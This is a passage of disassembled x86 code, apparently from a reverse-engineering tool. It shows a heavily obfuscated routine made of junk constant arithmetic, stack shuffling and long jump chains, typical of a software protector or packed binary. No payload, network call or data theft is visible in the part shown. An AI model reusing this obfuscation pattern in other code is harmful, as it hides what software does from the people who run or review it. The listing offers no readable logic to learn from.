--------------------------------------------------------------------------- loc_5926EB: ; CODE XREF: sub_580566+175DBj jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5926F0: ; CODE XREF: sub_580566+20EA8j mov eax, 1BBF499Ah sub eax, 1BBF4996h jmp loc_599F8A ; --------------------------------------------------------------------------- loc_5926FF: ; CODE XREF: sub_580566+169B2j mov [esp-56h+arg_4E], edx push [esp-56h+arg_52] mov edx, [esp-52h+arg_48+2] jmp loc_593A12 ; --------------------------------------------------------------------------- loc_59270E: ; CODE XREF: sub_580566+1B95Fj xchg bh, byte ptr [esp-52h+arg_48+3] pop dx shr dh, 5 shr dh, 7 not dh jmp loc_59D1EC ; --------------------------------------------------------------------------- loc_592721: ; DATA XREF: sub_580566+1047Ao jmp loc_590A9B ; --------------------------------------------------------------------------- loc_592726: ; CODE XREF: sub_580566+12E56j mov ebx, 1C000AB6h sub ebx, 317668F3h jmp loc_598F50 ; --------------------------------------------------------------------------- loc_592736: ; CODE XREF: sub_580566+126D2j not dl push eax mov ah, 0A6h jmp loc_59D186 ; --------------------------------------------------------------------------- loc_592740: ; CODE XREF: sub_580566+20B3Aj neg ecx add ecx, 3F702BC3h add ecx, 7F1A463Fh jmp loc_597C32 ; --------------------------------------------------------------------------- loc_592753: ; CODE XREF: sub_580566+11FAAj push esi push esp pop esi push ebp mov ebp, 45D85D69h sub ebp, 45D85D65h add esi, ebp mov ebp, [esp-2Ch+arg_24] jmp loc_59E0C9 ; --------------------------------------------------------------------------- loc_59276C: ; CODE XREF: sub_580566+1D6A1j add esp, 4 push eax jmp loc_5A147E ; --------------------------------------------------------------------------- loc_592775: ; CODE XREF: sub_580566+12B90j push edi jmp loc_59283A ; --------------------------------------------------------------------------- loc_59277B: ; CODE XREF: sub_580566+1DC8Aj add edx, eax pop eax push ebp push edx jmp loc_591885 ; --------------------------------------------------------------------------- loc_592785: ; CODE XREF: sub_580566+1CAA9j add ebp, 0FFFFFFFFh jmp loc_596225 ; --------------------------------------------------------------------------- loc_592790: ; CODE XREF: sub_580566+2218Dj dec eax push ebp mov ebp, 734C6155h xor eax, ebp pop ebp jmp loc_59444B ; --------------------------------------------------------------------------- loc_59279F: ; CODE XREF: sub_580566+1B85Bj sub ax, di pop edi jmp loc_5A4D07 ; --------------------------------------------------------------------------- loc_5927A8: ; CODE XREF: sub_580566+22DBBj push bx mov bh, 0D9h jmp loc_59D90A ; --------------------------------------------------------------------------- loc_5927B1: ; CODE XREF: sub_580566+16024j pop edx jmp loc_59A6B6 ; --------------------------------------------------------------------------- loc_5927B7: ; CODE XREF: sub_580566+15541j add ebx, 1 jmp loc_5A4523 ; --------------------------------------------------------------------------- loc_5927BF: ; CODE XREF: sub_580566+247F3j mov bh, 49h sub bh, ch pop ecx jmp loc_5937FD ; --------------------------------------------------------------------------- loc_5927C9: ; CODE XREF: sub_580566+1C45Ej push esi mov esi, 306D2DC2h sub esi, 120800ACh jmp loc_59EE6C ; --------------------------------------------------------------------------- loc_5927DA: ; CODE XREF: sub_580566+239CCj push ebx pop eax pop ebx jmp loc_598C41 ; --------------------------------------------------------------------------- loc_5927E2: ; CODE XREF: sub_580566+1A507j push 6FC7h push esp pop dword ptr [esp+0] add [esp-2Ah+arg_20+2], 4 mov ecx, [esp-2Ah+arg_20+2] add esp, 4 jmp loc_59C704 ; --------------------------------------------------------------------------- loc_592800: ; CODE XREF: sub_580566+25339j pop edx push ecx jmp loc_59A91B ; --------------------------------------------------------------------------- loc_592807: ; CODE XREF: sub_580566+11D03j xchg ebp, [esp-40h+arg_38] pop esp mov [esp-44h+arg_3C], ebp sub esp, 4 mov [esp-40h+arg_38], esp push 7885h jmp loc_591337 ; --------------------------------------------------------------------------- push edx jmp loc_59F3B5 ; --------------------------------------------------------------------------- loc_592824: ; CODE XREF: sub_580566+1FE67j push eax jmp loc_597B4C ; --------------------------------------------------------------------------- loc_59282A: ; CODE XREF: sub_580566+24CF9j mov [esp-34h+arg_2C], edi mov edi, esp add edi, 4 jmp loc_5A2312 ; --------------------------------------------------------------------------- loc_59283A: ; CODE XREF: sub_580566+12210j push [esp-28h+arg_24] pop edi jmp loc_5A538B ; --------------------------------------------------------------------------- loc_592844: ; CODE XREF: sub_580566+19DF4j mov [esp-28h+arg_20], edi mov edi, 57C15938h sub edi, 38BFEE9Fh jmp loc_593A73 ; --------------------------------------------------------------------------- loc_592857: ; CODE XREF: sub_580566+15C85j add ebp, 4 push ecx jmp loc_59EBFE ; --------------------------------------------------------------------------- loc_592863: ; CODE XREF: sub_580566+1A779j push [esp-24h+arg_20] mov esi, [esp-20h+arg_16+2] sub esp, 4 mov [esp-1Ch+arg_12+2], edx mov edx, esp add edx, 4 push ebx mov ebx, 4 push ebp mov ebp, 49334B4h push edi jmp loc_5A1D32 ; --------------------------------------------------------------------------- loc_59288D: ; CODE XREF: sub_580566+18E4Bj add edi, 0B9154337h xor eax, edi mov edi, [esp+0] add esp, 4 xor ebx, eax push ebx mov ebx, 57BE2E96h sub edx, ebx jmp loc_592633 ; --------------------------------------------------------------------------- loc_5928AD: ; CODE XREF: sub_580566+1293Cj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp-14h+arg_A+2], ebp jmp loc_59F9D6 ; --------------------------------------------------------------------------- loc_5928C5: ; CODE XREF: sub_580566+1E511j push [esp-14h+arg_E+2] jmp loc_59FE2B ; --------------------------------------------------------------------------- loc_5928CE: ; CODE XREF: sub_580566+119FDj add ecx, 0FFFFFFFFh jmp loc_59FAA5 ; --------------------------------------------------------------------------- loc_5928D9: ; CODE XREF: sub_580566+17B46j push edx push eax mov al, 0E5h sub al, 64h push edx mov dh, 0DFh add dh, 92h shl dh, 4 or dh, 4 sub dh, 0E6h add al, dh pop edx jmp loc_5918C5 ; --------------------------------------------------------------------------- loc_5928F6: ; CODE XREF: sub_580566+20302j or ch, 0F4h dec ch shl ch, 4 shl ch, 7 jmp loc_5A2D41 ; --------------------------------------------------------------------------- loc_592906: ; CODE XREF: sub_580566+142ABj mov ecx, [esp-30h+arg_28] jmp loc_59AF3E ; --------------------------------------------------------------------------- loc_59290E: ; CODE XREF: sub_580566+1B49Fj or ecx, edi mov edi, [esp-30h+arg_28] add esp, 4 shr ecx, 2 jmp loc_59388F ; --------------------------------------------------------------------------- loc_592921: ; CODE XREF: sub_580566+255BFj sub eax, ebp jmp loc_59E817 ; --------------------------------------------------------------------------- loc_592928: ; CODE XREF: sub_580566+1B658j mov ebp, ebx jmp loc_5988B7 ; --------------------------------------------------------------------------- loc_59292F: ; CODE XREF: sub_580566+21EC9j sub eax, ebx pop ebx pop ebx jmp loc_5A219C ; --------------------------------------------------------------------------- loc_592938: ; CODE XREF: sub_580566+21E35j xor ebx, 70BFB305h add ebp, ebx pop ebx mov ecx, ebp pop ebp sub esi, 1278303Ah add esi, ecx jmp loc_592032 ; --------------------------------------------------------------------------- loc_592951: ; CODE XREF: sub_580566+1F8F8j pop esp push 45C6h mov [esp-44h+arg_3C], edi push ecx push 0F2542A7h pop ecx push ebx jmp loc_5A2934 ; --------------------------------------------------------------------------- loc_592967: ; CODE XREF: sub_580566+1C935j push edx push ebx push 4937752h pop ebx and ebx, 6C0F08D3h xor ebx, 4030056h mov edx, ebx pop ebx jmp loc_597B6A ; --------------------------------------------------------------------------- loc_592983: ; CODE XREF: sub_580566+20693j xor edx, ecx pop ecx shr edx, 4 xor edx, 8DB9809Ah sub edi, edx pop edx jmp loc_5A3B01 ; --------------------------------------------------------------------------- loc_592997: ; CODE XREF: sub_580566+178DEj xchg eax, [esp-40h+arg_38] mov esp, [esp-40h+arg_38] mov [esp-40h+arg_38], ebx pop eax push 688Bh jmp loc_5A4270 ; --------------------------------------------------------------------------- loc_5929AB: ; CODE XREF: sub_580566+132BAj mov [esp-40h+arg_38], edi push 1EA4h mov [esp-3Ch+arg_34], esp add [esp-3Ch+arg_34], 4 jmp loc_59FEA5 ; --------------------------------------------------------------------------- loc_5929BF: ; CODE XREF: sub_580566+18C20j add esp, 4 sub edx, 3E2E6841h add edx, 1 add edx, 312A6FABh push esi push ecx push ebp mov ebp, 703E15D7h shr ebp, 3 not ebp sub ebp, 0EB86D42Fh mov ecx, ebp pop ebp jmp loc_5994C9 ; --------------------------------------------------------------------------- loc_5929F2: ; CODE XREF: sub_580566+17195j sub ah, dl push [esp-38h+arg_30] jmp loc_5A107B ; --------------------------------------------------------------------------- loc_5929FC: ; CODE XREF: sub_580566+1E76Ej and bl, 34h jmp loc_596C2B ; --------------------------------------------------------------------------- loc_592A04: ; CODE XREF: sub_580566+18D70j mov [esp-34h+arg_2C], ebp mov ebp, 52D53D3Ah shl ebp, 5 sub ebp, 5AA7A704h mov ecx, ebp jmp loc_5992FB ; --------------------------------------------------------------------------- loc_592A1C: ; CODE XREF: sub_580566+1D612j xor [esp-34h+arg_2C], edx xor edx, [esp-34h+arg_2C] jmp loc_5A384F ; --------------------------------------------------------------------------- loc_592A27: ; CODE XREF: sub_580566+1ABCDj push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5A192E ; --------------------------------------------------------------------------- loc_592A38: ; CODE XREF: sub_580566+16FFCj mov esp, [esp-30h+arg_28] jmp loc_5A570F ; --------------------------------------------------------------------------- loc_592A40: ; CODE XREF: sub_580566+24BBDj add ecx, edi sub ecx, 34713BEFh mov edi, [esp-30h+arg_28] add esp, 4 xchg ecx, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] jmp loc_5A44AF ; --------------------------------------------------------------------------- loc_592A59: ; CODE XREF: sub_580566+1264Aj sub bl, dl pop edx jmp loc_5A3F4C ; --------------------------------------------------------------------------- loc_592A61: ; CODE XREF: sub_580566+2542Aj mov [esp-38h+arg_30], ebx mov ebx, 2B1A0F2Dh or ebx, 73E912DFh dec ebx neg ebx push ecx jmp loc_5A4182 ; --------------------------------------------------------------------------- loc_592A78: ; CODE XREF: sub_580566+12A30j add ebx, edx push esi mov esi, 224170FDh jmp loc_595CC9 ; --------------------------------------------------------------------------- loc_592A85: ; CODE XREF: sub_580566+185AAj mov [esp-30h+arg_28], eax mov eax, 2B0721C8h xor eax, 53F838F9h push esi push ebx jmp loc_59D1E2 ; --------------------------------------------------------------------------- loc_592A99: ; CODE XREF: sub_580566+239C2j add eax, 1A4C23E9h add eax, 7A91F54h mov edx, [esp-28h+arg_20] push ecx jmp loc_592453 ; --------------------------------------------------------------------------- loc_592AAC: ; CODE XREF: sub_580566+19F03j add esp, 4 sub esp, 4 mov [esp-24h+arg_1A+2], ecx mov ch, 2 jmp loc_59367B ; --------------------------------------------------------------------------- loc_592AC2: ; CODE XREF: sub_580566+21A22j push edi mov edi, 7F821E4Ah mov esi, 7F821E4Ah sub esi, edi pop edi sub esi, ebx jmp loc_59F52E ; --------------------------------------------------------------------------- loc_592AD7: ; CODE XREF: sub_580566+1F457j add ebx, 4 jmp loc_59F65C ; --------------------------------------------------------------------------- loc_592AE2: ; CODE XREF: sub_580566+150B2j mov [esp-24h+arg_1A+2], esi push [esp-24h+arg_20] mov esi, [esp-20h+arg_16+2] add esp, 4 jmp loc_59C68A ; --------------------------------------------------------------------------- loc_592AF7: ; CODE XREF: sub_580566+168E3j push eax mov eax, 72046C61h push ebp mov ebp, 6F8008A1h neg ebp not ebp add ebp, 1AAB29BDh inc ebp and ebp, 352B08F8h push edx mov edx, 37445B2Dh or edx, 78C856BAh inc edx or edx, 327C06FFh sub edx, 80276058h jmp loc_59DD67 ; --------------------------------------------------------------------------- loc_592B32: ; CODE XREF: sub_580566+24140j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_592B37: ; CODE XREF: sub_580566+15C9Aj mov ebp, ebx jmp loc_59DD8A ; --------------------------------------------------------------------------- loc_592B3E: ; CODE XREF: sub_580566+218CDj mov ebp, [esp-18h+arg_E+2] add esp, 4 or ebp, 267D56AEh push ecx push 25120578h pop ecx sub ebp, ecx pop ecx jmp loc_599A7E ; --------------------------------------------------------------------------- loc_592B5C: ; CODE XREF: sub_580566+23DFEj add ebx, 376A215Ah add ebx, 1F374973h sub ebx, 0AF3A3DD7h sub edi, 3F3A45A6h sub edi, ebx jmp loc_59A656 ; --------------------------------------------------------------------------- loc_592B7B: ; CODE XREF: sub_580566+132E7j sub esi, 18745651h or esi, 9061B6h xor esi, 309119E0h add esi, 20CFE3D0h sub esi, 4F655FE7h xor esi, 19CF3227h shl esi, 3 jmp loc_59E04C ; --------------------------------------------------------------------------- loc_592BA7: ; CODE XREF: sub_580566+208D8j mov dl, 80h not dl dec dl sub dl, 46h jmp loc_592A59 ; --------------------------------------------------------------------------- loc_592BB5: ; CODE XREF: sub_580566+19933j xor edi, [esp-1Ch+arg_12+2] pop esp sub esp, 4 jmp loc_5A47E1 ; --------------------------------------------------------------------------- loc_592BC1: ; CODE XREF: sub_580566+1E55Dj inc ebp sub ebp, 3C344AC9h push 1D93h mov [esp-18h+arg_E+2], esi mov esi, 5BF81EA5h xor ebp, esi pop esi push ecx mov ecx, 4679413Eh shl ecx, 7 dec ecx shr ecx, 8 jmp loc_5A4778 ; --------------------------------------------------------------------------- loc_592BEA: ; CODE XREF: sub_580566+110D7j push [esp-44h+arg_3C] pop ebx add esp, 4 mov esi, [esp-48h+arg_40] add esp, 4 jmp loc_59CBBC ; --------------------------------------------------------------------------- loc_592BFC: ; CODE XREF: sub_580566+1BEB7j shr cl, 8 sub cl, 0D1h push edx mov dh, 58h and dh, 0ECh shl dh, 7 sub dh, 0E5h and cl, dh pop edx push dx mov dh, 72h or cl, dh pop dx xor cl, 0A8h jmp loc_59C2A4 ; --------------------------------------------------------------------------- loc_592C21: ; CODE XREF: sub_580566+1A056j mov esp, [esp-4Ch+arg_44] inc dl push 0D14h mov [esp-48h+arg_40], eax mov ah, 7Ch shl ah, 7 not ah push edx mov dl, 37h jmp loc_592736 ; --------------------------------------------------------------------------- loc_592C3D: ; CODE XREF: sub_580566+15AC7j add eax, ebx sub eax, 66446838h jmp loc_59D49E ; --------------------------------------------------------------------------- loc_592C49: ; CODE XREF: sub_580566+15418j sub esi, eax pop eax push edi mov edi, 7BC32A49h not edi dec edi push eax jmp loc_5975AF ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl [esp-42h+arg_38+2], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_592C6A: ; CODE XREF: sub_580566+24ECEj shr dh, 1 push ax mov al, 0BBh sub dh, al jmp loc_59AB84 ; --------------------------------------------------------------------------- loc_592C77: ; CODE XREF: sub_580566+16C17j mov ebx, 4 add esi, ebx pop ebx push esi push [esp-3Ch+arg_38] mov esi, [esp-38h+arg_30] add esp, 4 pop [esp-3Ch+arg_34] jmp loc_59E148 ; --------------------------------------------------------------------------- loc_592C95: ; CODE XREF: sub_580566+163AFj mov cx, word ptr [esp-40h+arg_38] add esp, 2 jmp loc_591F8C ; --------------------------------------------------------------------------- loc_592CA1: ; CODE XREF: sub_580566+17AD5j pop edi sub edx, esi mov esi, [esp-48h+arg_40] add esp, 4 xchg edx, [esp-4Ch+arg_44] mov esp, [esp-4Ch+arg_44] mov [esp-4Ch+arg_44], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-48h+arg_40] jmp loc_59BE2C ; --------------------------------------------------------------------------- loc_592CCA: ; CODE XREF: sub_580566+1093Bj pop eax jmp loc_59D075 ; --------------------------------------------------------------------------- loc_592CD0: ; CODE XREF: sub_580566+11853j mov [esp-4Ch+arg_44], esi mov esi, esp jmp loc_59C40E ; --------------------------------------------------------------------------- loc_592CDA: ; CODE XREF: sub_580566+2295Dj pop esi mov ebx, [esp-50h+arg_48] add esp, 4 push 40A6h jmp loc_5935B6 ; --------------------------------------------------------------------------- loc_592CEE: ; CODE XREF: sub_580566+14F40j push ebx mov bh, ch jmp loc_59AB03 ; --------------------------------------------------------------------------- loc_592CF6: ; CODE XREF: sub_580566+23A78j push ebp jmp loc_59D66E ; --------------------------------------------------------------------------- loc_592CFC: ; CODE XREF: sub_580566+1D2C3j push ebx jmp loc_597FD5 ; --------------------------------------------------------------------------- loc_592D02: ; CODE XREF: sub_580566+1E082j rol [esp-44h+arg_3C], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_592D0B: ; CODE XREF: sub_580566+22B4Fj add ebx, 4 sub ebx, 4 xchg ebx, [esp-40h+arg_38] pop esp push 7F9Dh mov [esp-40h+arg_38], esp add [esp-40h+arg_38], 4 pop [esp-40h+arg_38] push eax jmp loc_59A8F3 ; --------------------------------------------------------------------------- loc_592D33: ; CODE XREF: sub_580566+1C2B2j shr eax, 2 neg eax push ebx mov ebx, 0A3B935E0h sub eax, ebx pop ebx mov [edx+30h], eax push [esp-40h+arg_38] pop eax push esi mov esi, esp push eax mov eax, 5603533Fh inc eax add eax, 0A9FCACC4h add esi, eax pop eax jmp loc_59FF60 ; --------------------------------------------------------------------------- loc_592D5F: ; CODE XREF: sub_580566+144BBj pop esi push eax jmp loc_59E02C ; --------------------------------------------------------------------------- loc_592D66: ; CODE XREF: sub_580566+20E1Cj xor [esp-3Ch+arg_34], ecx xor ecx, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] mov [esp-3Ch+arg_34], ebx pop eax push 7D6Eh mov [esp-3Ch+arg_34], ebp sub esp, 4 jmp loc_5A0E54 ; --------------------------------------------------------------------------- loc_592D83: ; CODE XREF: sub_580566+1F230j mov eax, [esp-38h+arg_30] add esp, 4 push ebx mov ebx, 4 add eax, ebx pop ebx jmp loc_59333E ; --------------------------------------------------------------------------- loc_592D97: ; CODE XREF: sub_580566+195B0j mov edi, 59D6BD4h xor ebx, edi mov edi, [esp-3Ch+arg_34] add esp, 4 add eax, 6BDB0949h add eax, ebx jmp loc_598105 ; --------------------------------------------------------------------------- loc_592DB0: ; CODE XREF: sub_580566+1175Fj mov ecx, 4DE03FC6h sub eax, ecx push [esp-30h+arg_28] pop ecx jmp loc_5971FA ; --------------------------------------------------------------------------- loc_592DC0: ; CODE XREF: sub_580566+23F06j add ebp, 4 xchg ebp, [esp-30h+arg_28] jmp loc_59960D ; --------------------------------------------------------------------------- loc_592DCB: ; CODE XREF: sub_580566+1EB49j push 0C49h mov [esp-2Ch+arg_24], esi push esp push [esp-28h+arg_20] pop esi jmp loc_59CF09 ; --------------------------------------------------------------------------- loc_592DDD: ; CODE XREF: sub_580566+1CDF0j mov ebp, 796782Dh xor ebp, 2F451791h not ebp jmp loc_591C2A ; --------------------------------------------------------------------------- loc_592DEF: ; CODE XREF: sub_580566+12D09j add bl, 63h pop ecx push 717Fh mov [esp-28h+arg_20], eax mov ah, 0EDh sub ah, 33h add ah, 82h jmp loc_5954C1 ; --------------------------------------------------------------------------- loc_592E08: ; CODE XREF: sub_580566+1645Dj add eax, edx pop edx xchg eax, [esp-2Ch+arg_24] pop esp push 3876h mov [esp-2Ch+arg_24], ebp jmp loc_599BDA ; --------------------------------------------------------------------------- loc_592E1C: ; DATA XREF: sub_580566+1049Ao mov ax, word ptr [esp-2Ch+arg_24] jmp loc_591661 ; --------------------------------------------------------------------------- loc_592E25: ; CODE XREF: sub_580566+18728j push ebx mov ebx, 49421EFEh mov eax, ebx jmp loc_592692 ; --------------------------------------------------------------------------- loc_592E32: ; CODE XREF: sub_580566+23ECEj add eax, ebx add eax, 65D37AF1h push [esp-28h+arg_20] jmp loc_5A1055 ; --------------------------------------------------------------------------- loc_592E41: ; CODE XREF: sub_580566+1627Dj xor al, ch pop ecx push 5864h jmp loc_5A4781 ; --------------------------------------------------------------------------- loc_592E4E: ; CODE XREF: sub_580566+11AC7j mov esp, [esp-44h+arg_3C] mul cx push 4A5h jmp loc_591074 ; --------------------------------------------------------------------------- loc_592E5E: ; CODE XREF: sub_580566+15883j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_592E63: ; CODE XREF: sub_580566+1A613j pop edx add esi, 1F9F0905h sub esi, edi sub esi, 1F9F0905h jmp loc_591359 ; --------------------------------------------------------------------------- loc_592E77: ; CODE XREF: sub_580566+1B47Aj sub edx, 6326D6E3h add eax, 459A7475h sub eax, edx sub esp, 4 mov [esp-40h+arg_38], esi mov esi, 73DA6EC8h jmp loc_59C842 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp-3Ch+arg_34], ecx push esp pop ecx jmp loc_5928AD ; --------------------------------------------------------------------------- loc_592EA7: ; CODE XREF: sub_580566+1CD5Fj mov edi, 4 add edx, edi jmp loc_596D32 ; --------------------------------------------------------------------------- loc_592EB3: ; CODE XREF: sub_580566+23D43j mov ecx, 73342660h neg ecx inc ecx jmp loc_59BE52 ; --------------------------------------------------------------------------- loc_592EC0: ; CODE XREF: sub_580566+18F89j xor edi, 0F4EA8987h add edx, edi jmp loc_59B066 ; --------------------------------------------------------------------------- loc_592ECD: ; CODE XREF: sub_580566+1D418j pop ecx jmp loc_598CC8 ; --------------------------------------------------------------------------- loc_592ED3: ; CODE XREF: sub_580566+120DDj pop [esp-4Ah+arg_40+2] mov esp, [esp-4Eh+arg_44+2] jmp loc_59B199 ; --------------------------------------------------------------------------- loc_592EDE: ; CODE XREF: sub_580566+1C85Fj mov edx, [esp-4Eh+arg_44+2] jmp loc_59723D ; --------------------------------------------------------------------------- loc_592EE6: ; CODE XREF: sub_580566+195D6j sub esp, 4 mov [esp-4Ah+arg_40+2], esi mov esi, 4CEB21AEh or ebp, esi pop esi xor ebp, 6CEB7BFAh add eax, 7A474299h jmp loc_5A12ED ; --------------------------------------------------------------------------- loc_592F04: ; CODE XREF: sub_580566+1E340j push esp pop esi sub esp, 4 mov [esp-4Ah+arg_40+2], ebx push edx jmp loc_5A5555 ; --------------------------------------------------------------------------- loc_592F12: ; CODE XREF: sub_580566+1469Fj pop edx add ebp, edi pop edi add ebp, 4 xor ebp, [esp-4Eh+arg_44+2] jmp loc_59D89D ; --------------------------------------------------------------------------- loc_592F24: ; CODE XREF: sub_580566+24127j push ecx mov ecx, 4 jmp loc_594A26 ; --------------------------------------------------------------------------- loc_592F2F: ; CODE XREF: sub_580566+1A392j add [esp-4Ah+arg_44+2], eax pop eax jmp loc_59E81D ; --------------------------------------------------------------------------- loc_592F39: ; CODE XREF: sub_580566+1F1C9j add esi, 4 xchg esi, [esp-4Eh+arg_44+2] pop esp jmp loc_590A9B ; --------------------------------------------------------------------------- loc_592F45: ; CODE XREF: sub_580566+119DFj push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx jmp loc_59B6BB ; --------------------------------------------------------------------------- loc_592F55: ; CODE XREF: sub_580566+107D4j sub esp, 4 mov [esp-46h+arg_3C+2], edx push 36A0h mov [esp-42h+arg_38+2], ebx push 435Eh mov [esp-3Eh+arg_34+2], edx mov dh, al jmp loc_59729B ; --------------------------------------------------------------------------- loc_592F72: ; CODE XREF: sub_580566+19C49j add edx, 4 add edx, 4 jmp loc_5A3226 ; --------------------------------------------------------------------------- loc_592F80: ; CODE XREF: sub_580566+1B18Bj sub esp, 4 mov [esp-3Ah+arg_30+2], edx mov dh, 24h or dh, 9Eh jmp loc_5A3573 ; --------------------------------------------------------------------------- loc_592F93: ; CODE XREF: sub_580566+1B467j sub ebx, edi pop edi jmp loc_592A78 ; --------------------------------------------------------------------------- loc_592F9B: ; CODE XREF: sub_580566+1F06Fj push small 7C2Dh mov word ptr [esp-3Ch+arg_34], dx mov dh, 72h sub bl, 77h sub bl, 11h add bl, dh add bl, 11h add bl, 77h pop dx push ax jmp loc_591B0F ; --------------------------------------------------------------------------- loc_592FBC: ; CODE XREF: sub_580566+1C4F3j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-3Ch+arg_34] jmp loc_594260 ; --------------------------------------------------------------------------- loc_592FCF: ; CODE XREF: sub_580566+13431j add edi, 1FFA1316h jmp loc_59AC0B ; --------------------------------------------------------------------------- loc_592FDA: ; CODE XREF: sub_580566+10705j pop ebp add ebx, 0FDF60DFh jmp loc_59F895 ; --------------------------------------------------------------------------- loc_592FE6: ; CODE XREF: sub_580566+21E89j mov [esp-4Ah+arg_40+2], edi mov edi, 13D37933h not edi shr edi, 7 jmp loc_595313 ; --------------------------------------------------------------------------- mov eax, [esp-4Ah+arg_40+2] push 1881h mov [esp-46h+arg_3C+2], ecx jmp loc_593060 ; --------------------------------------------------------------------------- loc_593008: ; CODE XREF: sub_580566+20134j sub ecx, 4 xchg ecx, [esp-46h+arg_3C+2] pop esp mov [esp-4Ah+arg_40+2], eax push ebp mov ebp, esp add ebp, 4 jmp loc_59F94F ; --------------------------------------------------------------------------- loc_593023: ; CODE XREF: sub_580566+1D665j mov cl, 53h neg cl push eax jmp loc_598C0C ; --------------------------------------------------------------------------- loc_59302D: ; CODE XREF: sub_580566+13773j push [esp-42h+arg_38+2] pop ecx add esp, 4 or edx, eax shl edx, 1 push 3143h mov [esp-42h+arg_38+2], ebx push esi mov esi, 1 mov ebx, esi pop esi push ecx push 3DC5h mov [esp-3Ah+arg_30+2], ebp push 24h pop ebp jmp loc_59699E ; --------------------------------------------------------------------------- loc_593060: ; CODE XREF: sub_580566+12A9Dj push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi jmp loc_594B7A ; --------------------------------------------------------------------------- loc_593070: ; CODE XREF: sub_580566+23556j pop edx add eax, 3B0F6815h add eax, ebx sub eax, 3B0F6815h sub eax, 460B6706h pop ebx xchg eax, [esp-46h+arg_3C+2] pop esp push ecx mov cl, 62h jmp loc_590C18 ; --------------------------------------------------------------------------- loc_59308F: ; CODE XREF: sub_580566+1FF10j push ecx mov ecx, 4 add eax, ecx pop ecx add eax, 4 sub esp, 4 mov [esp-42h+arg_38+2], eax push [esp-42h+arg_3C+2] mov eax, [esp-3Eh+arg_34+2] jmp loc_5A4AFA ; --------------------------------------------------------------------------- loc_5930B2: ; CODE XREF: sub_580566+17782j add edi, ebp mov ebp, [esp-3Eh+arg_34+2] add esp, 4 push 433Fh mov [esp-3Eh+arg_34+2], edx mov edx, 2 add edi, edx jmp loc_5A1765 ; --------------------------------------------------------------------------- loc_5930D1: ; CODE XREF: sub_580566+1BBE6j pop eax jmp loc_594CE6 ; --------------------------------------------------------------------------- loc_5930D7: ; CODE XREF: sub_580566+21ABCj pop ebp xor edx, 0A37DE2h jmp loc_592292 ; --------------------------------------------------------------------------- loc_5930E3: ; CODE XREF: sub_580566+21C46j movzx cx, al push cx pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5930EF: ; CODE XREF: sub_580566+250E3j pop eax add edi, 4 jmp loc_592775 ; --------------------------------------------------------------------------- loc_5930FB: ; CODE XREF: sub_580566+1BB1Bj add ebx, 31C31ECBh sub ebx, 0C2B1116h sub ebx, edx jmp loc_5982AD ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx push eax jmp loc_59B140 ; --------------------------------------------------------------------------- loc_593118: ; CODE XREF: sub_580566+11F42j pop eax push ebx jmp loc_59BF9D ; --------------------------------------------------------------------------- loc_59311F: ; CODE XREF: sub_580566+1FB88j push edx mov edx, 35C11BDBh mov edi, 35C11BDFh xor edi, edx pop edx push esi mov esi, 1F53EE4h add eax, esi pop esi add eax, edi sub eax, 1F53EE4h mov edi, [esp-46h+arg_3C+2] add esp, 4 xchg eax, [esp-4Ah+arg_40+2] pop esp jmp loc_59B5C1 ; --------------------------------------------------------------------------- loc_59314F: ; CODE XREF: sub_580566+222B8j push eax add [esp-4Ah+arg_40+2], 6A69305Fh jmp loc_59678C ; --------------------------------------------------------------------------- loc_59315C: ; CODE XREF: sub_580566+21A83j push 639Fh mov [esp-46h+arg_3C+2], esp add [esp-46h+arg_3C+2], 4 pop [esp-46h+arg_3C+2] sub esp, 4 mov [esp-46h+arg_3C+2], edx mov edx, 4 jmp loc_5A5B2A ; --------------------------------------------------------------------------- loc_59317B: ; CODE XREF: sub_580566+167D2j add edx, 4 push 52D3h mov [esp-42h+arg_38+2], edx push [esp-42h+arg_3C+2] pop edx pop [esp-42h+arg_38+2] pop esp push 1FB9h mov [esp-46h+arg_3C+2], ebp push esp pop ebp push edx jmp loc_593FF8 ; --------------------------------------------------------------------------- loc_59319F: ; CODE XREF: sub_580566+210D7j mov [esp-42h+arg_38+2], ebp push 6FE765A9h pop ebp or ebp, 30582ADCh and ebp, 6E613362h jmp loc_5A2940 ; --------------------------------------------------------------------------- loc_5931B9: ; CODE XREF: sub_580566+13725j push eax mov eax, 531C80D8h sub esi, eax jmp loc_596B1C ; --------------------------------------------------------------------------- loc_5931C6: ; CODE XREF: sub_580566+21121j and edx, ebx pop ebx push edi mov edi, 66EFE789h add edx, edi mov edi, [esp-3Eh+arg_34+2] add esp, 4 xor eax, edx jmp loc_59718D ; --------------------------------------------------------------------------- loc_5931E1: ; CODE XREF: sub_580566+229B9j pop edx sub esp, 4 mov [esp-42h+arg_38+2], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-42h+arg_38+2] jmp loc_5940E0 ; --------------------------------------------------------------------------- loc_5931FE: ; CODE XREF: sub_580566+1EBF3j mov [esp-42h+arg_38+2], edx push 78A53C6Dh pop edx push ebx mov ebx, 65D07B8Dh xor edx, ebx pop ebx push ecx mov ecx, 5FDB29E7h push 233Ch mov [esp-3Ah+arg_30+2], eax mov eax, 4C69540Dh xor ecx, eax mov eax, [esp-3Ah+arg_30+2] jmp loc_59D6AF ; --------------------------------------------------------------------------- loc_59322D: ; CODE XREF: sub_580566+22C80j add esp, 4 add esp, 4 add eax, 4 xchg eax, [esp-42h+arg_38+2] jmp loc_5A501F ; --------------------------------------------------------------------------- loc_593246: ; CODE XREF: sub_580566+138B5j mov ecx, 7539217Ah mov ebp, 8AC6DE8Ah jmp loc_59D97C ; --------------------------------------------------------------------------- loc_593255: ; CODE XREF: sub_580566+1DD4Dj pop esi mov ebx, edx pop 